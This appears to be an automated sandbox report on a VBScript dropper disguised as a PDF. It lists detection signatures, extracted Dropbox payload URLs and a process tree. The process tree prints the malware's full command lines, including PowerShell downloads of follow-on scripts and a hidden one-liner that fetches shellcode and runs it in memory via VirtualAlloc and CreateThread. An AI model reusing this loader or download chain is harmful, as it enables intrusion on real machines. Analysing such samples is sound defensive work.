Analysis
- max time kernel
150s - max time network
155s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
31/07/2026, 18:21
General
- Target DOCUMENT_PDF.vbs
- Size 1KB
- Sample260731-wzerysyard
- SHA256 5a042d26d35888fb4aa16160716f4bd30627fdbcde42a57297703efd0aa4514e
Malware Config
Extracted
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ps1
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ps1.dropper
https://www.dropbox.com/scl/fi/lif92x177yvm05fpk35ck/agent-windows-amd64-487c36fc.bin.sgn?rlkey=o5a54vot96xaxycoqbqbb5n5p&st=up3odrjy&dl=1
Signatures
- Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Powershell Invoke Web Request.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DOCUMENT_PDF.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/5bpb5u0uwwxn4ckn0no5r/run.bat?rlkey=6xzt1yoik5kky2cu3x1xwk9at&st=e3j107pu&dl=1' -OutFile 'C:\Users\Admin\AppData\Local\Temp\upd_cache\run.bat'"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/299tlu8ijj931tmtgqj5a/Document.vbs?rlkey=wdhr5k5hw7mso2tq78i8nodop&st=u956gd65&dl=1' -OutFile 'C:\Users\Admin\AppData\Local\Temp\upd_cache\sys_doc.vbs'"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cscript.exe"C:\Windows\System32\cscript.exe" //B C:\Users\Admin\AppData\Local\Temp\upd_cache\sys_doc.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\upd_cache\run.bat" "3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$b=(New-Object Net.WebClient).DownloadData('https://www.dropbox.com/scl/fi/lif92x177yvm05fpk35ck/agent-windows-amd64-487c36fc.bin.sgn?rlkey=o5a54vot96xaxycoqbqbb5n5p&st=up3odrjy&dl=1');$v='VirtualAlloc';$c='CreateThread';$k='kernel32.dll';$w='WaitForSingleObject';$a=Add-Type -MemberDefinition \"[DllImport(`\"$k`\")]public static extern IntPtr $v(IntPtr a,uint s,uint t,uint p);[DllImport(`\"$k`\")]public static extern IntPtr $c(IntPtr a,uint s,IntPtr m,IntPtr p,uint f,IntPtr i);[DllImport(`\"$k`\")]public static extern uint $w(IntPtr h,uint m);\" -Name 'WinAPI' -PassThru;$p=$a::$v(0,[uint32]$b.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($b,0,$p,$b.Length);$t=$a::$c(0,0,$p,0,0,0);$a::$w($t,4294967295)"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\34raa4ka\34raa4ka.cmdline"5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEA37.tmp" "c:\Users\Admin\AppData\Local\Temp\34raa4ka\CSCFE921F98C73448ACB896E6671156F4D3.TMP"6⤵
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
34raa4ka.dll
RESEA37.tmp
__PSScriptPolicyTest_2ukebpup.mgd.ps1
run.bat
sys_doc.vbs
34raa4ka.0.cs
34raa4ka.cmdline
CSCFE921F98C73448ACB896E6671156F4D3.TMP
memory/244-9-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/244-0-0x00007FFC6D72F000-0x00007FFC6D730000-memory.dmp
memory/244-14-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/244-15-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/244-16-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/244-17-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/244-18-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/244-21-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/244-12-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/244-11-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/244-10-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/244-13-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/244-8-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/244-7-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/244-6-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/244-5-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/244-4-0x000001F39EC30000-0x000001F39EC52000-memory.dmp
memory/244-1-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/4204-45-0x00000223FE4F0000-0x00000223FE4F8000-memory.dmp
memory/4204-46-0x00000223FEA10000-0x00000223FF597000-memory.dmp
memory/4204-47-0x0000022382A90000-0x00000223869EE000-memory.dmp